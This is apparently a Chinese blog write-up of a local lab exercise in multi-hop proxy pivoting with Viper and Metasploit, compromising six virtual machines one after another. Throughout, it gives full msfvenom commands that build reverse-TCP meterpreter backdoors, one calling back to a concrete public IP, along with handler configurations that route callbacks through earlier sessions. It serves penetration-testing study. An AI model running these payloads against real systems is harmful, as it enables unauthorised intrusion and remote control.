本文仅为代理转发学习,在本地环境测试验证,无其它目的,请勿用于未经授权的测试
说明:
之前学习的代理转发上线,近期也做实验通过Viper,利用MSF实现了多重代理转发上线靶机,过程有些繁琐,但自我感觉对于学习代理转发还是挺有用的,同时推荐一下这个Viper工具,图形化的界面不仅炫酷而且实用:Viper:https://www.yuque.com/vipersec/。
环境说明:
● Win7_1:
IP1:172.10.10.3
IP2:10.10.10.3
● WinServer:
IP1:10.10.10.5
IP2:172.26.26.5
● Win7_2:
IP1:172.26.26.6
IP2:192.168.1.6
● Ubuntu1:
IP1:172.10.10.8
IP2:10.10.10.8
● Ubuntu2:
IP1:10.10.10.10
IP2:172.26.26.10
● Ubuntu3:
IP1:172.26.26.7
IP2:192.168.1.7
● 拓扑图:
实验过程:
-
打开Viper,新建监听
-
生成exe,并上传至Win7_1中执行
-
返回Viper查看,Win7_1已上线:
-
查看当前靶机IP信息:
方法一:
方法二:
进入【MSFCONSOLE】——进入Session——输入【ifconfig】
-
选择Win7_1的Sessions进行内网探测:
方法一:
执行后可在拓扑图中查看结果:
方法二:
进入【MSFCONSOLE】——进入Session——输入:run post/windows/gather/arp_scanner RHOSTS=探测网段/IP
-
查看到内网另一网段存在的IP,开始进行上线内网的WinServer,在此也可以执行路由添加直接使用msf探测或者挂Socks代理,此处仅作添加路由展示:
方法一:
方法二:
进入【MSFCONSOLE】——进入Session——输入:run post/multi/manage/autoroute
-
上线WinServer前,需要进行代理转发上线,利用Win7_1的session进行代理转发上线,输入以下命令,生成监听:
msf6 auxiliary(server/socks_proxy) > use exploit/multi/handler //使用攻击模块
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp //设置Payload
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST x.x.x.x //设置IP为边界机的内网IP,即Win7的内网IPx.x.x.x
LHOST => x.x.x.x
msf6 exploit(multi/handler) > set LPORT 1234 //设置边界机的端口
LPORT => 1234
msf6 exploit(multi/handler) > set ReverseListenerComm 1 //将此设置应用在Win7的session上
ReverseListenerComm => 1
msf6 exploit(multi/handler) > run //运行
[*] Started reverse TCP handler on x.x.x.x:1234 via the meterpreter on session 1
- 生成监听后,再使用msfvenom生成后门程序,此处使用其他的msfvenom生成后门exe,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=1234 -f exe > WinServer.exe
//参数对照【步骤7】中的参数
-
将生成的后门程序上传至WinServer,并执行:
-
返回Viper查看,WinServer已上线:
-
再次使用【步骤4】、【步骤5】、【步骤6】的方法进行内网IP探测和添加路由,过程不详述:
-
准备上线Win7_2,上线Win7_2需要使用WinServer进行代理转发,方法类似【步骤7】:
msf6 > use exploit/multi/handler //使用攻击模块
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp //设置Payload
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST x.x.x.x //设置IP为边界机的内网IP,即WinServer的内网IPx.x.x.x
LHOST => x.x.x.x
msf6 exploit(multi/handler) > set LPORT 1234 //设置边界机的端口
LPORT => 1234
msf6 exploit(multi/handler) > set ReverseListenerComm 2 //将此设置应用在WinServer的session上
ReverseListenerComm => 2
msf6 exploit(multi/handler) > run //运行
[*] Started reverse TCP handler on x.x.x.x:1234 via the meterpreter on session 2
- 按照【步骤8】生成Win7_2的后门程序,并上传至Win7_2执行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=1234 -f exe > Win7_2.exe
//参数对照【步骤7】中的参数
-
返回Viper查看Win7_2已上线:
-
再次使用【步骤4】、【步骤5】、【步骤6】的方法进行内网IP探测和添加路由,过程不详述:
-
当前拓扑如下:
-
开始上线Ubuntu1,Ubuntu1可以直接使用Viper上线,新建监听:
-
使用msfvenom生成属于Ubuntu1的后门,方法参照【步骤8】命令如下,并上传至Ubuntu1添加执行权限并执行:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=120.48.85.78 LPORT=7002 -f elf > Ubuntu1.elf
-
返回Viper查看Ubuntu1已上线:
-
开始上线Ubuntu2,Ubuntu2上线需要使用Ubuntu1或者Win7_1的session作为代理转发上线,此处分别使用Ubuntu1作为代理转发上线和Win7_1作为代理转发上线,方法类似【步骤7】:
方法一:使用Ubuntu1作为代理转发上线
此步骤忘整理了,参考【步骤21】
方法二:使用Win7_1作为代理转发上线
msf6 > use exploit/multi/handler //使用攻击模块
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp //设置Payload
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST x.x.x.x //设置IP为边界机的内网IP,即Win7_1的内网IPx.x.x.x
LHOST => x.x.x.x
msf6 exploit(multi/handler) > set LPORT 1234 //设置边界机的端口
LPORT => 1234
msf6 exploit(multi/handler) > set ReverseListenerComm 1 //将此设置应用在Win7_1的session上
ReverseListenerComm => 1
msf6 exploit(multi/handler) > run //运行
[*] Started reverse TCP handler on x.x.x.x:1234 via the meterpreter on session 1
使用msfvenom生成Ubuntu2的后门,上传至Ubuntu2,添加执行权限并执行:
`msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=1234 -f elf > Ubuntu2_Ubuntu1.elf`![在这里插入图片描述](https://img-blog.csdnimg.cn/e0312d9dce194151995c5f507c4c8632.png)
返回查看viper已上线:
- 开始上线Ubuntu3,Ubuntu3上线需要使用Ubuntu2或者WinServer的session作为代理转发上线,此处分别使用Ubuntu2作为代理转发上线和WinServer作为代理转发上线,方法类似【步骤7】:
方法一:使用Ubuntu2作为代理转发上线
msf6 > use exploit/multi/handler //使用攻击模块
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp //设置Payload
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST x.x.x.x //设置IP为边界机的内网IP,即Ubuntu2的内网IPx.x.x.x
LHOST => x.x.x.x
msf6 exploit(multi/handler) > set LPORT 1234 //设置边界机的端口
LPORT => 1234
msf6 exploit(multi/handler) > set ReverseListenerComm 1 //将此设置应用在Ubuntu2的session上
ReverseListenerComm => 1
msf6 exploit(multi/handler) > run //运行
[*] Started reverse TCP handler on x.x.x.x:1234 via the meterpreter on session 1
使用msfvenom生成Ubuntu3的后门,上传至Ubuntu3,添加执行权限并执行:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=1234 -f elf > Ubuntu3_Ubuntu2.elf
返回查看viper已上线:
方法二:使用WinServer作为代理转发上线
msf6 > use exploit/multi/handler //使用攻击模块
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp //设置Payload
payload => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST x.x.x.x //设置IP为边界机的内网IP,即WinServer的内网IPx.x.x.x
LHOST => x.x.x.x
msf6 exploit(multi/handler) > set LPORT 1234 //设置边界机的端口
LPORT => 1234
msf6 exploit(multi/handler) > set ReverseListenerComm 2 //将此设置应用在WinServer的session上
ReverseListenerComm => 2
msf6 exploit(multi/handler) > run //运行
[*] Started reverse TCP handler on x.x.x.x:1234 via the meterpreter on session 2
使用msfvenom生成Ubuntu3的后门,上传至Ubuntu3,添加执行权限并执行:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=1234 -f elf > Ubuntu3_WinServer.elf
返回查看viper已上线:
本文完结:
至此,一共6台主机已全部上线,此文章仅作代理上线学习,真实过程肯定不止如此简单,还需要多学习学习。